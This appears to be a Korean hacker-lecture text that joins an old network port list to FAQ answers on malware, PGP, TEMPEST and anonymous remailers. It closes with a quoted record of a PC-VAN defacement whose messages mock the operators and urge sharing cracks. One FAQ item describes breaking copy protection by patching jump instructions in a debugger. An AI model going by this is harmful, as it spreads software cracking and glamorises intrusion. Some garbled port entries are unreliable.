finger           79/tcp    Finger
finger           79/udp    Finger
www              80/tcp    World Wide Web HTTP
www              80/udp    World Wide Web HTTP
hosts2-ns        81/tcp    HOSTS2 Name Server
hosts2-ns        81/udp    HOSTS2 Name Server
xfer             82/tcp    XFER Utility
xfer             82/udp    XFER Utility
mit-ml-dev       83/tcp    MIT ML Device
mit-ml-dev       83/udp    MIT ML Device
ctf              84/tcp    Common Trace Facility
ctf              84/udp    Common Trace Facility
mit-ml-dev       85/tcp    MIT ML Device
mit-ml-dev       85/udp    MIT ML Device
mfcobol          86/tcp    Micro Focus Cobol
mfcobol          86/udp    Micro Focus Cobol
                 87/tcp    any private terminal link
                 87/udp    any private terminal link
kerberos         88/tcp    Kerberos
kerberos         88/udp    Kerberos
su-mit-tg        89/tcp    SU/MIT Telnet Gateway
su-mit-tg        89/udp    SU/MIT Telnet Gateway
dnsix            90/tcp    DNSIX Securit Attribute Token Map
dnsix            90/udp    DNSIX Securit Attribute Token Map
mit-dov          91/tcp    MIT Dover Spooler
mit-dov          91/udp    MIT Dover Spooler
npp              92/tcp    Network Printing Protocol
npp              92/udp    Network Printing Protocol
dcp              93/tcp    Device Control Protocol
dcp              93/udp    Device Control Protocol
objcall          94/tcp    Tivoli Object Dispatcher
objcall          94/udp    Tivoli Object Dispatcher
supdup           95/tcp    SUPDUP
supdup           95/udp    SUPDUP
dixie            96/tcp    DIXIE Protocol Specification
dixie            96/udp    DIXIE Protocol Specification
swift-rvf        97/tcp    Swift Remote Vitural File Protocol
swift-rvf        97/udp    Swift Remote Vitural File Protocol
tacnews          98/tcp    TAC News
tacnews          98/udp    TAC News
metagram         99/tcp    Metagram Relay
metagram         99/udp    Metagram Relay
newacct         100/tcp    [unauthorized use]
hostname        101/tcp    NIC Host Name Server
hostname        101/udp    NIC Host Name Server
iso-tsap        102/tcp    ISO-TSAP
iso-tsap        102/udp    ISO-TSAP
gppitnp         103/tcp    Genesis Point-to-Point Trans Net
gppitnp         103/udp    Genesis Point-to-Point Trans Net
acr-nema        104/tcp    ACR-NEMA Digital Imag. & Comm. 300
acr-nema        104/udp    ACR-NEMA Digital Imag. & Comm. 300
csnet-ns        105/tcp    Mailbox Name Nameserver
csnet-ns        105/udp    Mailbox Name Nameserver
3com-tsmux      106/tcp    3COM-TSMUX
3com-tsmux      106/udp    3COM-TSMUX
rtelnet         107/tcp    Remote Telnet Service
rtelnet         107/udp    Remote Telnet Service
snagas          108/tcp    SNA Gateway Access Server
snagas          108/udp    SNA Gateway Access Server
pop2            109/tcp    Post Office Protocol - Version 2
pop2            109/udp    Post Office Protocol - Version 2
pop3            110/tcp    Post Office Protocol - Version 3
pop3            110/udp    Post Office Protocol - Version 3
sunrpc          111/tcp    SUN Remote Procedure Call
sunrpc          111/udp    SUN Remote Procedure Call
mcidas          112/tcp    McIDAS Data Transmission Protocol
mcidas          112/udp    McIDAS Data Transmission Protocol
auth            113/tcp    Authentication Service
auth            113/udp    Authentication Service
audionews       114/tcp    Audio News Multicast
audionews       114/udp    Audio News Multicast
sftp            115/tcp    Simple File Transfer Protocol
sftp            115/udp    Simple File Transfer Protocol
ansanotify      116/tcp    ANSA REX Notify
ansanotify      116/udp    ANSA REX Notify
uucp-path       117/tcp    UUCP Path Service
uucp-path       117/udp    UUCP Path Service
sqlserv         118/tcp    SQL Services
sqlserv         118/udp    SQL Services
nntp            119/tcp    Network News Transfer Protocol
nntp            119/udp    Network News Transfer Protocol
cfdptkt         120/tcp    CFDPTKT
cfdptkt         120/udp    CFDPTKT
erpc            121/tcp    Encore Expedited Remote Pro.Call
erpc            121/udp    Encore Expedited Remote Pro.Call
smakynet        122/tcp    SMAKYNET
smakynet        122/udp    SMAKYNET
ntp             123/tcp    Network Time Protocol
ntp             123/udp    Network Time Protocol
ansatrader      124/tcp    ANSA REX Trader
ansatrader      124/udp    ANSA REX Trader
locus-map       125/tcp    Locus PC-Interface Net Map Ser
locus-map       125/udp    Locus PC-Interface Net Map Ser
unitary         126/tcp    Unisys Unitary Login
unitary         126/udp    Unisys Unitary Login
locus-con       127/tcp    Locus PC-Interface Conn Server
locus-con       127/udp    Locus PC-Interface Conn Server
gss-xlicen      128/tcp    GSS X License Verification
gss-xlicen      128/udp    GSS X License Verification
pwdgen          129/tcp    Password Generator Protocol
pwdgen          129/udp    Password Generator Protocol
cisco-fna       130/tcp    cisco FNATIVE
cisco-fna       130/udp    cisco FNATIVE
cisco-tna       131/tcp    cisco TNATIVE
cisco-tna       131/udp    cisco TNATIVE
cisco-sys       132/tcp    cisco SYSMAINT
cisco-sys       132/udp    cisco SYSMAINT
statsrv         133/tcp    Statistics Service
statsrv         133/udp    Statistics Service
ingres-net      134/tcp    INGRES-NET Service
ingres-net      134/udp    INGRES-NET Service
loc-srv         135/tcp    Location Service
loc-srv         135/udp    Location Service
profile         136/tcp    PROFILE Naming System
profile         136/udp    PROFILE Naming System
netbios-ns      137/tcp    NETBIOS Name Service
netbios-ns      137/udp    NETBIOS Name Service
netbios-dgm     138/tcp    NETBIOS Datagram Service
netbios-dgm     138/udp    NETBIOS Datagram Service
netbios-ssn     139/tcp    NETBIOS Session Service
netbios-ssn     139/udp    NETBIOS Session Service
emfis-data      140/tcp    EMFIS Data Service
emfis-data      140/udp    EMFIS Data Service
emfis-cntl      141/tcp    EMFIS Control Service
emfis-cntl      141/udp    EMFIS Control Service
bl-idm          142/tcp    Britton-Lee IDM
bl-idm          142/udp    Britton-Lee IDM
imap2           143/tcp    Interim Mail Access Protocol v2
imap2           143/udp    Interim Mail Access Protocol v2
news            144/tcp    NewS
news            144/udp    NewS
uaac            145/tcp    UAAC Protocol
uaac            145/udp    UAAC Protocol
iso-tp0         146/tcp    ISO-IP0
iso-tp0         146/udp    ISO-IP0
iso-ip          147/tcp    ISO-IP
iso-ip          147/udp    ISO-IP
cronus          148/tcp    CRONUS-SUPPORT
cronus          148/udp    CRONUS-SUPPORT
aed-512         149/tcp    AED 512 Emulation Service
aed-512         149/udp    AED 512 Emulation Service
sql-net         150/tcp    SQL-NET
sql-net         150/udp    SQL-NET
hems            151/tcp    HEMS
hems            151/udp    HEMS
bftp            152/tcp    Background File Transfer Program
bftp            152/udp    Background File Transfer Program
sgmp            153/tcp    SGMP
sgmp            153/udp    SGMP
netsc-prod      154/tcp    NETSC
netsc-prod      154/udp    NETSC
netsc-dev       155/tcp    NETSC
netsc-dev       155/udp    NETSC
sqlsrv          156/tcp    SQL Service
sqlsrv          156/udp    SQL Service
knet-cmp        157/tcp    KNET/VM Command/Message Protocol
knet-cmp        157/udp    KNET/VM Command/Message Protocol
pcmail-srv      158/tcp    PCMail Server
pcmail-srv      158/udp    PCMail Server
nss-routing     159/tcp   NSS-Routing
nss-routing     159/udp   NSS-Routing
sgmp-traps      160/tcp    SGMP-TRAPS
sgmp-traps      160/udp    SGMP-TRAPS
snmp            161/tcp    SNMP
snmp            161/udp    SNMP
snmptrap        162/tcp    SNMPTRAP
snmptrap        162/udp    SNMPTRAP
cmip-man        163/tcp    CMIP/TCP Manager
cmip-man        163/udp    CMIP/TCP Manager
cmip-agent      164/tcp    CMIP/TCP Agent
smip-agent      164/udp    CMIP/TCP Agent
xns-courier     165/tcp   Xerox
xns-courier     165/udp   Xerox
s-net           166/tcp    Sirius Systems
s-net           166/udp    Sirius Systems
namp            167/tcp    NAMP
namp            167/udp    NAMP
rsvd            168/tcp    RSVD
rsvd            168/udp    RSVD
send            169/tcp    SEND
send            169/udp    SEND
print-srv       170/tcp    Network PostScript
print-srv       170/udp    Network PostScript
multiplex       171/tcp    Network Innovations Multiplex
multiplex       171/udp    Network Innovations Multiplex
cl/1            172/tcp    Network Innovations CL/1
cl/1            172/udp    Network Innovations CL/1
xyplex-mux      173/tcp    Xyplex
xyplex-mux      173/udp    Xyplex
mailq           174/tcp    MAILQ
mailq           174/udp    MAILQ
vmnet           175/tcp    VMNET
vmnet           175/udp    VMNET
genrad-mux      176/tcp    GENRAD-MUX
genrad-mux      176/udp    GENRAD-MUX
xdmcp           177/tcp    X Display Manager Control Protocol
xdmcp           177/udp    X Display Manager Control Protocol
nextstep        178/tcp    NextStep Window Server
NextStep        178/udp    NextStep Window Server
bgp             179/tcp    Border Gateway Protocol
bgp             179/udp    Border Gateway Protocol
ris             180/tcp    Intergraph
ris             180/udp    Intergraph
unify           181/tcp    Unify
unify           181/udp    Unify
audit           182/tcp    Unisys Audit SITP
audit           182/udp    Unisys Audit SITP
ocbinder        183/tcp    OCBinder
ocbinder        183/udp    OCBinder
ocserver        184/tcp    OCServer
ocserver        184/udp    OCServer
remote-kis      185/tcp    Remote-KIS
remote-kis      185/udp    Remote-KIS
kis             186/tcp    KIS Protocol
kis             186/udp    KIS Protocol
aci             187/tcp    Application Communication Interface
aci             187/udp    Application Communication Interface
mumps           188/tcp    Plus Five's MUMPS
mumps           188/udp    Plus Five's MUMPS
qft             189/tcp    Queued File Transport
qft             189/udp    Queued File Transport
gacp            190/tcp    Gateway Access Control Protocol
cacp            190/udp    Gateway Access Control Protocol
prospero        191/tcp    Prospero
prospero        191/udp    Prospero
osu-nms         192/tcp    OSU Network Monitoring System
osu-nms         192/udp    OSU Network Monitoring System
srmp            193/tcp    Spider Remote Monitoring Protocol
srmp            193/udp    Spider Remote Monitoring Protocol
irc             194/tcp    Internet Relay Chat Protocol
irc             194/udp    Internet Relay Chat Protocol
dn6-nlm-aud     195/tcp    DNSIX Network Level Module Audit
dn6-nlm-aud     195/udp    DNSIX Network Level Module Audit
dn6-smm-red     196/tcp    DNSIX Session Mgt Module Audit Redir
dn6-smm-red     196/udp    DNSIX Session Mgt Module Audit Redir
dls             197/tcp    Directory Location Service
dls             197/udp    Directory Location Service
dls-mon         198/tcp    Directory Location Service Monitor
dls-mon         198/udp    Directory Location Service Monitor
smux            199/tcp    SMUX
smux            199/udp    SMUX
src             200/tcp    IBM System Resource Controller
src             200/udp    IBM System Resource Controller
at-rtmp         201/tcp    AppleTalk Routing Maintenance
at-rtmp         201/udp    AppleTalk Routing Maintenance
at-nbp          202/tcp    AppleTalk Name Binding
at-nbp          202/udp    AppleTalk Name Binding
at-3            203/tcp    AppleTalk Unused
at-3            203/udp    AppleTalk Unused
at-echo         204/tcp    AppleTalk Echo
at-echo         204/udp    AppleTalk Echo
at-5            205/tcp    AppleTalk Unused
at-5            205/udp    AppleTalk Unused
at-zis          206/tcp    AppleTalk Zone Information
at-zis          206/udp    AppleTalk Zone Information
at-7            207/tcp    AppleTalk Unused
at-7            207/udp    AppleTalk Unused
at-8            208/tcp    AppleTalk Unused
at-8            208/udp    AppleTalk Unused
tam             209/tcp    Trivial Authenticated Mail Protocol
tam             209/udp    Trivial Authenticated Mail Protocol
z39.50          210/tcp    ANSI Z39.50
z39.50          210/udp    ANSI Z39.50
914c/g          211/tcp    Texas Instruments 914C/G Terminal
914c/g          211/udp    Texas Instruments 914C/G Terminal
anet            212/tcp    ATEXSSTR
anet            212/udp    ATEXSSTR
ipx             213/tcp    IPX
ipx             213/udp    IPX
vmpwscs         214/tcp    VM PWSCS
vmpwscs         214/udp    VM PWSCS
softpc          215/tcp    Insignia Solutions
softpc          215/udp    Insignia Solutions
atls            216/tcp    Access Technology License Server
atls            216/udp    Access Technology License Server
dbase           217/tcp    dBASE Unix
dbase           217/udp    dBASE Unix
mpp             218/tcp    Netix Message Posting Protocol
mpp             218/udp    Netix Message Posting Protocol
uarps           219/tcp    Unisys ARPs
uarps           219/udp    Unisys ARPs
imap3           220/tcp    Interactive Mail Access Protocol v3
imap3           220/udp    Interactive Mail Access Protocol v3
fln-spx         221/tcp    Berkeley rlogind with SPX auth
fln-spx         221/udp    Berkeley rlogind with SPX auth
fsh-spx         222/tcp    Berkeley rshd with SPX auth
fsh-spx         222/udp    Berkeley rshd with SPX auth
cdc             223/tcp    Certificate Distribution Center
cdc             223/udp    Certificate Distribution Center
                224-241    Reserved
sur-meas        243/tcp    Survey Measurement
sur-meas        243/udp    Survey Measurement
link            245/tcp    LINK
link            245/udp    LINK
dsp3270         246/tcp    Display Systems Protocol
dsp3270         246/udp    Display Systems Protocol
                247-255    Reserved
pawserv         345/tcp    Perf Analysis Workbench
pawserv         345/udp    Perf Analysis Workbench
zserv           346/tcp    Zebra server
zserv           346/udp    Zebra server
fatserv         347/tcp    Fatmen Server
fatserv         347/udp    Fatmen Server
clearcase       371/tcp    Clearcase
clearcase       371/udp    Clearcase
ulistserv       372/tcp    Unix Listserv
ulistserv       372/udp    Unix Listserv
legent-1        373/tcp    Legent Corporation
legent-1        373/udp    Legent Corporation
legent-2        374/tcp    Legent Corporation
legent-2        374/udp    Legent Corporation
exec            512/tcp    remote process execution;
                           authentication performed using
                           passwords and UNIX login names
biff            512/udp    used by mail system to notify users
                           of new mail received; currently
                           receives messages only from
                           processes on the same machine
login           513/tcp    remote login a la telnet;
                           automatic authentication performed
                           based on priviledged port numbers
                           and distributed data bases which
                           identify "authentication domains"
who             513/udp    maintains data bases showing who's
                           logged in to machines on a local
                           net and the load average of the
                           machine
cmd             514/tcp    like exec, but automatic
                           authentication is performed as for
                           login server
syslog          514/udp
printer         515/tcp    spooler
printer         515/udp    spooler
talk            517/tcp    like tenex link, but across
                           machine - unfortunately, doesn't
                           use link protocol (this is actually
                           just a rendezvous port from which a
                           tcp connection is established)
talk            517/udp    like tenex link, but across
                           machine - unfortunately, doesn't
                           use link protocol (this is actually
                           just a rendezvous port from which a
                           tcp connection is established)
ntalk           518/tcp
ntalk           518/udp
utime           519/tcp    unixtime
utime           519/udp    unixtime
efs             520/tcp    extended file name server
router          520/udp    local routing process (on site);
                           uses variant of Xerox NS routing
                           information protocol
timed           525/tcp    timeserver
timed           525/udp    timeserver
tempo           526/tcp    newdate
tempo           526/udp    newdate
courier         530/tcp    rpc
courier         530/udp    rpc
conference      531/tcp    chat
conference      531/udp    chat
netnews         532/tcp    readnews
netnews         532/udp    readnews
netwall         533/tcp    for emergency broadcasts
netwall         533/udp    for emergency broadcasts
uucp            540/tcp    uucpd
uucp            540/udp    uucpd
klogin          543/tcp
klogin          543/udp
kshell          544/tcp    krcmd
kshell          544/udp    krcmd
new-rwho        550/tcp    new-who
new-rwho        550/udp    new-who
dsf             555/tcp
dsf             555/udp
remotefs        556/tcp    rfs server
remotefs        556/udp    rfs server
rmonitor        560/tcp    rmonitord
rmonitor        560/udp    rmonitord
monitor         561/tcp
monitor         561/udp
chshell         562/tcp    chcmd
chshell         562/udp    chcmd
9pfs            564/tcp    plan 9 file service
9pfs            564/udp    plan 9 file service
whoami          565/tcp    whoami
whoami          565/udp    whoami
meter           570/tcp    demon
meter           570/udp    demon
meter           571/tcp    udemon
meter           571/udp    udemon
ipcserver       600/tcp    Sun IPC server
ipcserver       600/udp    Sun IPC server
nqs             607/tcp    nqs
nqs             607/udp    nqs
mdqs            666/tcp
mdqs            666/udp
elcsd           704/tcp    errlog copy/server daemon
elcsd           704/udp    errlog copy/server daemon
netcp           740/tcp    NETscout Control Protocol
netcp           740/udp    NETscout Control Protocol
netgw           741/tcp    netGW
netgw           741/udp    netGW
netrcs          742/tcp    Network based Rev. Cont. Sys.
netrcs          742/udp    Network based Rev. Cont. Sys.
flexlm          744/tcp    Flexible License Manager
flexlm          744/udp    Flexible License Manager
fujitsu-dev     747/tcp    Fujitsu Device Control
fujitsu-dev     747/udp    Fujitsu Device Control
ris-cm          748/tcp    Russell Info Sci Calendar Manager
ris-cm          748/udp    Russell Info Sci Calendar Manager
kerberos-adm    749/tcp    kerberos administration
kerberos-adm    749/udp    kerberos administration
rfile           750/tcp
loadav          750/udp
pump            751/tcp
pump            751/udp
qrh             752/tcp
qrh             752/udp
rrh             753/tcp
rrh             753/udp
tell            754/tcp     send
tell            754/udp     send
nlogin          758/tcp
nlogin          758/udp
con             759/tcp
con             759/udp
ns              760/tcp
ns              760/udp
rxe             761/tcp
rxe             761/udp
quotad          762/tcp
quotad          762/udp
cycleserv       763/tcp
cycleserv       763/udp
omserv          764/tcp
omserv          764/udp
webster         765/tcp
webster         765/udp
phonebook       767/tcp    phone
phonebook       767/udp    phone
vid             769/tcp
vid             769/udp
cadlock         770/tcp
cadlock         770/udp
rtip            771/tcp
rtip            771/udp
cycleserv2      772/tcp
cycleserv2      772/udp
submit          773/tcp
notify          773/udp
rpasswd         774/tcp
acmaint_dbd     774/udp
entomb          775/tcp
acmaint_transd  775/udp
wpages          776/tcp
wpages          776/udp
wpgs            780/tcp
wpgs            780/udp
hp-collector    781/tcp        hp performance data collector
hp-collector    781/udp        hp performance data collector
hp-managed-node 782/tcp        hp performance data managed node
hp-managed-node 782/udp        hp performance data managed node
hp-alarm-mgr    783/tcp        hp performance data alarm manager
hp-alarm-mgr    783/udp        hp performance data alarm manager
mdbs_daemon     800/tcp
mdbs_daemon     800/udp
device          801/tcp
device          801/udp
xtreelic        996/tcp        XTREE License Server
xtreelic        996/udp        XTREE License Server
maitrd          997/tcp
maitrd          997/udp
busboy          998/tcp
puparp          998/udp
garcon          999/tcp
applix          999/udp        Applix ac
puprouter       999/tcp
puprouter       999/udp
cadlock         1000/tcp
ock             1000/udp
blackjack       1025/tcp   network blackjack
blackjack       1025/udp   network blackjack
hermes          1248/tcp
hermes          1248/udp
bbn-mmc         1347/tcp   multi media conferencing
bbn-mmc         1347/udp   multi media conferencing
bbn-mmx         1348/tcp   multi media conferencing
bbn-mmx         1348/udp   multi media conferencing
sbook           1349/tcp   Registration Network Protocol
sbook           1349/udp   Registration Network Protocol
editbench       1350/tcp   Registration Network Protocol
editbench       1350/udp   Registration Network Protocol
equationbuilder 1351/tcp   Digital Tool Works (MIT)
equationbuilder 1351/udp   Digital Tool Works (MIT)
lotusnote       1352/tcp   Lotus Note
lotusnote       1352/udp   Lotus Note
ingreslock      1524/tcp   ingres
ingreslock      1524/udp   ingres
orasrv          1525/tcp   oracle
orasrv          1525/udp   oracle
prospero-np     1525/tcp   prospero non-privileged
prospero-np     1525/udp   prospero non-privileged
tlisrv          1527/tcp   oracle
tlisrv          1527/udp   oracle
coauthor        1529/tcp   oracle
coauthor        1529/udp   oracle
issd            1600/tcp
issd            1600/udp
nkd             1650/tcp
nkd             1650/udp
callbook        2000/tcp
callbook        2000/udp
dc              2001/tcp
wizard          2001/udp    curry
globe           2002/tcp
globe           2002/udp
mailbox         2004/tcp
emce            2004/udp    CCWS mm conf
berknet         2005/tcp
oracle          2005/udp
invokator       2006/tcp
raid-cc         2006/udp    raid
dectalk         2007/tcp
raid-am         2007/udp
conf            2008/tcp
terminaldb      2008/udp
news            2009/tcp
whosockami      2009/udp
search          2010/tcp
pipe_server     2010/udp
raid-cc         2011/tcp    raid
servserv        2011/udp
ttyinfo         2012/tcp
raid-ac         2012/udp
raid-am         2013/tcp
raid-cd         2013/udp
troff           2014/tcp
raid-sf         2014/udp
cypress         2015/tcp
raid-cs         2015/udp
bootserver      2016/tcp
bootserver      2016/udp
cypress-stat    2017/tcp
bootclient      2017/udp
terminaldb      2018/tcp
rellpack        2018/udp
whosockami      2019/tcp
about           2019/udp
xinupageserver  2020/tcp
xinupageserver  2020/udp
servexec        2021/tcp
xinuexpansion1  2021/udp
down            2022/tcp
xinuexpansion2  2022/udp
xinuexpansion3  2023/tcp
xinuexpansion3  2023/udp
xinuexpansion4  2024/tcp
xinuexpansion4  2024/udp
ellpack         2025/tcp
xribs           2025/udp
scrabble        2026/tcp
scrabble        2026/udp
shadowserver    2027/tcp
shadowserver    2027/udp
submitserver    2028/tcp
submitserver    2028/udp
device2         2030/tcp
device2         2030/udp
blackboard      2032/tcp
blackboard      2032/udp
glogger         2033/tcp
glogger         2033/udp
scoremgr        2034/tcp
scoremgr        2034/udp
imsldoc         2035/tcp
imsldoc         2035/udp
objectmanager   2038/tcp
objectmanager   2038/udp
lam             2040/tcp
lam             2040/udp
interbase       2041/tcp
interbase       2041/udp
isis            2042/tcp
isis            2042/udp
isis-bcast      2043/tcp
isis-bcast      2043/udp
rimsl           2044/tcp
rimsl           2044/udp
cdfunc          2045/tcp
cdfunc          2045/udp
sdfunc          2046/tcp
sdfunc          2046/udp
dls             2047/tcp
dls             2047/udp
dls-monitor     2048/tcp
dls-monitor     2048/udp
shilp           2049/tcp
shilp           2049/udp
www-dev         2784/tcp   world wide web - development
www-dev         2784/udp   world wide web - development
NSWS            3049/tcp
NSWS            3049/ddddp
rfa             4672/tcp   remote file access server
rfa             4672/udp   remote file access server
commplex-main   5000/tcp
commplex-main   5000/udp
commplex-link   5001/tcp
commplex-link   5001/udp
rfe             5002/tcp   radio free ethernet
rfe             5002/udp   radio free ethernet
rmonitor_secure 5145/tcp
rmonitor_secure 5145/udp
padl2sim        5236/tcp
padl2sim        5236/udp
sub-process     6111/tcp   HP SoftBench Sub-Process Control
sub-process     6111/udp   HP SoftBench Sub-Process Control
xdsxdm          6558/udp
xdsxdm          6558/tcp
afs3-fileserver 7000/tcp   file server itself
afs3-fileserver 7000/udp   file server itself
afs3-callback   7001/tcp   callbacks to cache managers
afs3-callback   7001/udp   callbacks to cache managers
afs3-prserver   7002/tcp   users & groups database
afs3-prserver   7002/udp   users & groups database
afs3-vlserver   7003/tcp   volume location database
afs3-vlserver   7003/udp   volume location database
afs3-kaserver   7004/tcp   AFS/Kerberos authentication service
afs3-kaserver   7004/udp   AFS/Kerberos authentication service
afs3-volser     7005/tcp   volume managment server
afs3-volser     7005/udp   volume managment server
afs3-errors     7006/tcp   error interpretation service
afs3-errors     7006/udp   error interpretation service
afs3-bos        7007/tcp   basic overseer process
afs3-bos        7007/udp   basic overseer process
afs3-update     7008/tcp   server-to-server updater
afs3-update     7008/udp   server-to-server updater
afs3-rmtsys     7009/tcp   remote cache manager service
afs3-rmtsys     7009/udp   remote cache manager service
man             9535/tcp
man             9535/udp
isode-dua       17007/tcp
isode-dua       17007/udp

23.트로이목마,웜,바이러스,로그bomb는 무엇인가?
TROJAN  유용한 기능을 하는 프로그램처럼 보이지만 내부적으로는  또 다른 프로그램이 숨어있
는 프로그램을 의미한다. 사용자가 이 프로그램을 사용할 경우,트로이의 목마는 비밀리에 또 다른
숨겨진 기능을 수행한다.(예를 들어 사용자의 권한을 증가시키는 기능 등)
VIRUS    이것은 독립적인 프로그램이 아니라 프로그램에 붙어있는 일종의 코드이다. 여러 개의
프로그램으로 감염이 되어 자료르 파괴하거나,시스템의 성능을 저하시킨다.
WORM     네트워크에 연결되어 있는 여러 시스템을  감염시킴으로써,바이러스처럼 자료를 파괴
하거나,시스템의 성능을  저하시키는 독립적인 프로그램이다.심지어는  시스템을 부팅시키기도 한
다.
LOGIC BOMB 시스템을  파괴하는 다양한 종류의 방법을  의미한다. 특별한 조건(어떤 날자라든
지,특별한 기능이 수행될 때)이 만족되면 시스템 파괴가 수행된다.(포맷이나 데이타 삭제 등등)

24.바이러스로부터 어떻게 나자신을 지킬것인가?
플로피 디스켓의 경우,쓰기 기능이 필요 없을 때는 항상 쓰기 방지 기능을 사용한다.
실행 파일의 경우(파일 확장자가  COM이나 EXE),파일 속성을 읽기 전용으로 설정해  놓는다. 엉
성하게 만들어진 바이러스부터 파일을 보호할 수 있지만 충분한  방법은 아니다. 최신의 바이러스
백신을 이용하여 자료를 항상 검색한다. 주기적으로 백업을 한다.

25.Cryptoxxxxxxx란 무엇인가?
일반적인 메세지는 plaintext나 cleartext라고 한다. 이런 메세지의 내용을 보지 못하도록 암호화하
는 방법을 encryption이라고 하며,이렇게 암호화된 메세지는  ciphertext라고 불리운다.ciphertext를
원래의 plaintext로 되돌리는 방법은 decryption이라고 한다. 메세지를 보호하는 방법은 여러 가지
가 있으며,그런 방법들을 총칭하여 cryptography라고 한다.

26.PGP란 무엇인가?
PGP SMS e-mail과 자료 파일을 보호하기 위하여 public-key encryption을 사용하므로,사전에 키
룰 교환할 필요 없이 안전한 채널을 통해 처음보는 사람과도  통신을 할 수 가있다.PGP는 복잡한
키관리,패스워드,자료압축이 가능하며 인간공학적으로 설계되어 있다.
Phil's Pretty Good Software에서 개발한 Pretty Good(tm) Privacy (PGP)는
MS-DOS, Unix,VAX/VMS, 이외의 여러시스템을 위한 고도의 암호화 응용 프로그램이다.
PGP를 사용하여 파일이나 메세지를 교환하는 경우,자료의 보안을 위하여 세가지의 특징을 사용한
다.
1.메세지를 수신하는 사람 외에는 내용을 볼 수 없다.
2.메세지에 적혀 있는 보내는 사람 이름이 정확히 송신인과 일치해야 한다.
즉 다른 사람 이름으로는 메세지를 보낼 수가 없다.
3.위의 두가지 특징이 프로그램에 연결된 키의 충돌없이 편리하게 제공된다. 안전한 채널을 위해
서 사용자들 사이에 키를 교환할 필요는 없으므로 사용이 매우 편리하다.
이것은 PGP가 'public  key cryptography'라고 불리유눈 새롭고  강력한 기술을 사용하기 때문에
가능하다.

27.템페스트란 무엇인가?
Tempest는 Transient Electromagnetic Pulse Surveillance Technology를 의미한다.
컴퓨터와 같은 전자 장비는 주변에 전자파를 방출한다. 이것은 두개의 모니터를 가까이 위치시킴
으로써 쉽게 확인할 수가 있다. 모니터를 멀리 분리시켜놓을 때까지 화면이 불규칙하게 나타나는
것을 볼 수가 있다.
대부분의 경우 이런 전자파는 아주 안 좋은 것이지만 가끔은 유용한 경우가 있다.
경쟁회사에서 어떤 프로젝트가 진행중인가 알기 원한다고 가정하자.
사무실 밖에 있는 자동차에서 사무실 내에 있는 모니터에서 나오는 전자파를 잡아 해독하는 전자
장비를 사용할 수 있을 것이다. 그러나 경쟁회사는 모니터에서 나오는 전자차를 차단하거나 전자
파가 발생하지 않는 장비를 사용할수도 있다.
TEMPEST는 도청으로부터 안전한 전자 장비의 평가와 보증을 위한 미정부 프로그램이다.

28.익명의 편지를 보내자.
anonymous remailer란 익명으로 e-mail을 보내거나 usenet에 메세지를 발송하게 해주는 인터넷상
의 시스템을 말한다.
remailer site에서 익명의 계좌를 통해  메세지를 발송하면, 그 메세지를 읽은 어느 누구도 발신
인의 실제 아이디와 host명을 알 수가 없는 것이다.

29.Anonymouse remailer의 주소는?
가장 일반적이고  안정적인 anonymous remailer는 johan  Helsingus가 운영하는 anon.penet.fi이
다.  익명의  ID를  얻으려면  ping@anon.penet.fi로  메일을 보내면  된다.  우리가  anonymous
REMAILER의 목록을 보려고 한다면,FINGER명령을 이용하여
remailer-list@kiwi.cs.berkeley.edu를 검색하면 된다.

30.어떻게 복사 방지장치를 깨뜨릴것인가?
복사방지장치를 깨뜨리는 두가지 방법이 있는데,첫번째는 복사 방지 장치를 제거하는 프로그램을
사용하는 것이다. 이런 목적으로 만들어진 프로그램에는
Central Point Software사에서 개발한 CopyIIPC와 Quaid software에서 나온 copy write가 있다.
두번째 방법은 복사 방지된 프로그램을 직접 패치하는 것이다.
많이 알려진  프로그램의 경우  패치 메뉴얼을  쉽게 구할 수가  있으며,debug나 노턴유틸리티의
diskedit를 이용하여 패치할 수 있다. 그렇지  않을 경우는 자신이 직접 패치해야 한다. 물론 쉽
지가 않을 것이다. 어셈블리에 관한  지식을 가지고 있다면 debugger나 sourcer와 같은 역어셈블
링 프로그램을 이용하여 직접 패치를 할 수가 있다. 디버거와 함게 복사 방지된 프로그램을 실행
시켜서 복사 방지 메카니즘을 살피도록  한다. 대략적인 복사 방지 메카니즘이 파악이 되면 코드
를 변경한다.
JE (Jump on Equal) 이나 JNE (Jump  On Not Equal) 와 같은 코드를 JMP (Jump Unconditionally)
로 바꾸거나 NOP (No Operation) 으로 바꿔보는 것이 좋다.

31.127.0.0.1는 무엇인가?
127.0.0.1은 loopback network  connection이다. 즉 telnet이나 ftp를 이용하여 이곳에  접속하면 자
기 자신에게 접속하게 되는 것이다.







안녕하세요.
강좌의 보강을 보냅니다.
아직 몇몇 자료가 남았습니다만 차차 제공해 드리기로하죠.



* pc-van 해킹사건

다음은 오래전에 있었던 pc-van의 해킹사건입니다.
모 해커가 침입해 pc-van 을 해킹해서 공지사항과 증권,몇몇 자료실의
자료를 무단으로 변경/삭제해놓고 사라졌습니다.
그런데 문제는 그게 아니라, 운영진의 대응자세였습니다.
운영진들은 그 해커를 우습게 여기면서 잡을수 있다고 공언하며
과연 운영진일지 의심스러울 공지사항을 띄웠습니다.
하지만 그후에 그 해커(크래커!)를 잡았다는 얘기는 못들었습니다.
아래 자료는 그 당시사항을 모아놓은 글인데 참조하시기 바랍니다.


                            <<   공  지  사  항   >>
       ------------------------------------------------------------------
         번호   일자                  ( 제    목 )                 조회
       ------------------------------------------------------------------
           4)   01/02   시삽의 변명 예상~                           145
           3)   01/02   증권동은 아주 뽀작!                         140
           2)   01/02   후하하 장터는 개판이다~                     144
           1)   01/02   ▶안녕하세요. 헤킹했습니다.◀fuck van▶     199

번호(공지사항 보기), ENTER(마침), Z(화면재생) : 4

                        <<  P C - V A N  공 지 사 항  >>
                                                                           1/ 1
제 목: 시삽의 변명 예상~


안녕하슈 시삽 양반...

당신또 누군가가 시삽아이디 가지고 장난한거라고 하겠지?
이양반아 해킹했다고 이렇게 떠벌이는것도 쪽팔린데 그런 모욕
까지 당하기는 싫다네 그러니 변명은 할생각 말게나...
그리고 아직도 속수 무책으로 있다니 허허 너무 느리다에..
불쌍하이..



안녕하신가들~
방금 이곳자고 다 뽀개고 다니다가 여기도 뽀작을 낼까 하다가
그냥 두고 가네... 단 크랙이나 뭐 기타등등 마니 올리고 공유
하면서 해커의 진정한 의미인 copyback을 잊지들 말게들...

그럼 이못난 선배는 먼저 가네...
.
.
.
.
.
.
.
.
.
.
Hacking of Haven...



  -----------------------------------------------------------------------------
   원하는 번호와 ENTER 키를 치세요   : 91005             상위 : P    종료 : Q
접속 중입니다. 잠시 기다려 주세요.

                            <<   공  지  사  항   >>
       ------------------------------------------------------------------
         번호   일자                  ( 제    목 )                 조회
       ------------------------------------------------------------------
